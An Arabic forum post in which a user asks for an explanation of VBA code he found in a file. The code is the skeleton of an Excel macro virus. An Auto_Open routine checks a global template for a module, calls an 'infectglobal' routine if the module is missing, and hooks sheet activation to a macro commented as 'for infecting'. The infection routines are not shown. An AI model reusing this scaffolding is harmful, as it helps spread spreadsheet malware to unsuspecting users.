شرح كود

[ايهاب سعيد]

الكود الاول

Sub Auto_Open()

If cek_global() Then 'check on global! (Optional to use)

GoTo FkSheet: 'found?

Else

infectglobal 'Goto to Infecting Routine

End If

FkSheet:

Application.OnSheetActivate = "XXX.XLM!Fk" 'XXX.XLM is Template

'for Ur Vs

'Fk is the MacroName

'for infecting

bye:

End Sub

في احد الملفات وجدت هذا الاكواد واريد فهمها

الكود الكود الثاني

Function cek_global() As Boolean 'Yes/No (Flase/True)

cek_global = False 'Set False First

For x = 1 To Application.Workbooks.Count

If Application.Workbooks(x).Name = "XXX.XLM" Then

For y = 1 To Application.Workbooks("XXX.XLM").Modules.Count

If Application.Workbooks("XXX.XLM").Modules(y).Name = "YYYYY" Then

cek_global = True

'YYYYY is the module Name for Ur Code

End If

Next y

End If

Next x

End Function

تم تعديل أغسطس 24, 2013 بواسطه ايهاب سعيد